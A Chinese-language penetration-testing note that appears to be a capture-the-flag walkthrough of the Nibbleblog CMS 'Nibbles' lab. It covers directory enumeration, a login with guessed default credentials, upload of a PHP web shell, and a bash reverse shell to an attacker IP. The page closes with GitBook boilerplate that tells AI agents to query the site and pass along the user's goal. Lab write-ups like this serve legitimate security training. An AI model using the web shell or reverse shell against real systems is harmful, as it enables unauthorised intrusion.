> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/nibbles-blog-cms-exploitation.md).

# Nibbles Blog

Nibbleblog CMS 利用笔记，涵盖目录枚举、管理员登录发现、图片上传滥用、PHP Web Shell 执行和反向 Shell 访问。

### Nibbles 博客 - CMS

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8a8288a7190968333d51726e8bb682ea7709af7%2Fimage%20(2566).png?alt=media" alt=""><figcaption></figcaption></figure>

该站点似乎是一个 Nibbleblog CMS。使用 `gobuster` 来搜索更多目录：

```bash
gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71c67d40edf0c2957abcb2af0ac6154acfa01f35%2Fimage%20(2568).png?alt=media" alt=""><figcaption></figcaption></figure>

#### PHP 文件搜索：

PHP 文件枚举显示 `admin.php`，这看起来是一个管理面板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8cee0cedf187692d9787be32897aa898cf009b89%2Fimage%20(2569).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 使用凭据登录尝试

尝试使用以下凭据登录：

* **用户** ：admin
* **密码** ：nibbles

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a55e2baef42af7f58bb0cb95ffa89d5aa7018164%2Fimage%20(2570).png?alt=media" alt=""><figcaption></figcaption></figure>

这有效，并可访问管理界面。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d1891b19cb2fcfa6b7f67c5c964873ba67c8a7a%2Fimage%20(2571).png?alt=media" alt=""><figcaption></figcaption></figure>

## Nibbleblog 文件上传漏洞

发现了一个图片上传功能：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4ae7a07cbe149610911d0f89cc4b42e3e7ef69d%2Fimage%20(2572).png?alt=media" alt=""><figcaption></figcaption></figure>

创建一个 `cmd.php` 包含以下代码的文件以启用命令执行：

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

该文件被上传到 `content`，其中一个 `private` 子文件夹包含插件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db006edabcb60681a0ce85027a3af630a5005201%2F%7BF479214E-BF39-4E2F-9C58-080BA47992C4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 通过文件上传执行命令

该 `cmd` 参数允许执行命令。例如，使用以下 URL 获取系统身份信息：

<pre class="language-bash"><code class="lang-bash"><strong>/image.php?cmd=id
</strong></code></pre>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-02805497b0b19fec445e2377010b51d7841746ea%2F%7B5D5A12A0-9B61-4593-B3A1-6DECFA728518%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

通过反向 shell 获取服务器访问权限。在 443 端口启动监听：

```bash
nc -nlvp 443
```

然后在目标上执行反向 shell：

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c410d3d8d1f9b483bd1dc55a2ad321396b21c6f4%2Fimage%20(2573).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/cms/nibbles-blog-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
